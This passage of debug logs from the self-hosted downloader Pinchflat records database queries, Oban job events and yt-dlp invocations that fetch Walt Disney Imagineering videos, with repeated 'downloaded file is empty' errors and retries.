'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:31:17.068 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:31:17.068 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:31:17.069 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:17.069 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:17.069 [debug] Running yt-dlp command for action: get_downloadable_status 19:31:17.069 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:17.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:17.070 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:17.070 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/44/fb/44fbbd5250c1457a35408b75b80687bad02ed28400a28774d2e70dab7feccdc5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:31:20.048 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:22.233 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/44/fb/44fbbd5250c1457a35408b75b80687bad02ed28400a28774d2e70dab7feccdc5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:31:22.233 [debug] Running yt-dlp command for action: download 19:31:22.233 [debug] QUERY OK source="settings" db=0.1ms idle=1712.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:22.233 [debug] QUERY OK source="settings" db=0.1ms idle=1713.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:22.234 [debug] QUERY OK source="settings" db=0.1ms idle=1168.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:31:22.234 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/45/c7/45c7a0019b2e830b56af7c6675cbd86eeef70240bb34804acda291aba8d4928b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:31:50.049 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.999 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:20.050 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:22.864 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/45/c7/45c7a0019b2e830b56af7c6675cbd86eeef70240bb34804acda291aba8d4928b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:32:22.865 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:32:22.865 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65798968,"event":"job:exception","queue_time":968738,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:32:50.051 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:01.000 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:20.052 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:50.053 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.001 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:20.054 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:50.055 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.002 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:20.056 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:50.057 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:53.622 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d3/61/d361f377b8e23bc6a405f44b04a825cfeeaf0f0b0d6904b7f491cc6325b19c1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:35:53.622 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:35:53.623 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":362645420,"event":"job:exception","queue_time":359714,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:36:00.003 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:20.058 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:50.059 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.004 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:15.468 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775000235468483406,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:37:15.469 [debug] QUERY OK source="media_items" db=0.1ms idle=1948.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:37:15.469 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:37:15.469 [debug] QUERY OK source="sources" db=0.2ms idle=1948.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:37:15.470 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1010.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:37:15.470 [debug] QUERY OK source="media_items" db=0.2ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:37:15.471 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:37:15.471 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:37:15.471 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:15.472 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:15.472 [debug] Running yt-dlp command for action: get_downloadable_status 19:37:15.472 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:15.473 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:15.473 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:15.473 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b1/f3/b1f357100241def129e451b7bcfe22ef58a4c02d7f5223e5b378b64d09f829ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:37:18.938 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b1/f3/b1f357100241def129e451b7bcfe22ef58a4c02d7f5223e5b378b64d09f829ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:37:18.938 [debug] Running yt-dlp command for action: download 19:37:18.938 [debug] QUERY OK source="settings" db=0.1ms idle=473.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:18.939 [debug] QUERY OK source="settings" db=0.1ms idle=418.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:18.939 [debug] QUERY OK source="settings" db=0.0ms idle=418.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:37:18.939 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ef/06/ef063bf86d179625f69c224a9e59c96caf6e1e35685011a51317febb89a4750f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:37:20.061 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:50.062 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.005 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:20.063 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:50.064 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.006 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:20.066 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:50.067 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.007 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:20.069 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:50.070 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.008 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:20.071 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:50.072 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.009 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:17.118 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ef/06/ef063bf86d179625f69c224a9e59c96caf6e1e35685011a51317febb89a4750f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:42:17.118 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:42:17.119 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":301650252,"event":"job:exception","queue_time":844716,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:42:20.073 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:22.799 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1775000542799263075,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:42:22.799 [debug] QUERY OK source="media_items" db=0.1ms idle=1277.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:42:22.799 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:42:22.800 [debug] QUERY OK source="sources" db=0.1ms idle=1008.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:42:22.800 [debug] QUERY OK source="media_profiles" db=0.1ms idle=278.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:42:22.801 [debug] QUERY OK source="media_items" db=0.3ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:42:22.801 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:42:22.802 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:42:22.802 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:22.802 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 